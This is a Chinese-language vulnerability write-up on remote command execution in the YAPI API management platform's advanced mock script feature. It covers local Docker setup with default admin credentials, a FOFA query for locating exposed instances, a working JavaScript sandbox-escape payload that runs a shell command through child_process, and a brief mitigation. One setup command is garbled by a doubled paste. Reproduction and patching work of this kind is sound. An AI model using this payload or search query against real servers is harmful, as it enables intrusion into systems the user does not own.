前言
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业使用。
漏洞原理
YAPI项目使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务。其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。
fofa搜索语法
title='yapi'‘
本地环境搭建
1:
安装 Docker
yum -y install docker
2:
启动 Docker
systemctl start docker
3:
查看Docker服务状态
systemctl status docker
4:
使用 Docker 构建 Yapi
(1).创建 MongoDB 数据卷
docker volume create mongo_data_yapi
(2).启动 MongoDB
docker run -d --name mongo-yapi -v mongo_data_yapi:/data/db mongo
(3).获取 Yapi 镜像,版本信息可在 阿里云镜像仓库 查看 :
地址: 开放云原生应用-云原生(Cloud Native)-云原生介绍 - 阿里云
docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
(4).初始化 Yapi 数据库索引及管理员账号
docker run -it --rm --link mongo-yapi:mongo --entrypoint npm --workdir /api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server
(5).启动 Yapi 服务
docker run -d --name yapi --link mongo-yapi:mongo --workdir /api/vendors -p 3000:3000 registry.cn-hangdocker run -d --name yapi --link mongo-yapi:mongo --workdir /api/vendors -p 3000:3000 registry.cn-hangzhou.aliyuncs.com/anoy/yapi server/app.js
(6).使用 Yapi
访问 http://localhost:3000 登录账号admin@admin.com,密码ymfe.org
复现一波
首先注册一个账号
注册完账号后登录
登录后我们先添加一个项目
这些随便填就可
然后点击创建项目
创建完项目后点击添加接口
然后点击高级Mock下方是否开启选择开启
然后添加Payload
Payload如下:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson =process.mainModule.require("child_process").execSync("whoami").toString()
点击保存
然后点击预览
然后点击Mock地址
漏洞修复
1、临时修复
a)取消注册功能
在 config.json 添加 closeRegister:true 配置项,禁止用户注册 yapi 平台,修改完成后,重启 yapi 服务器。
{ "port": "*****", "closeRegister":true}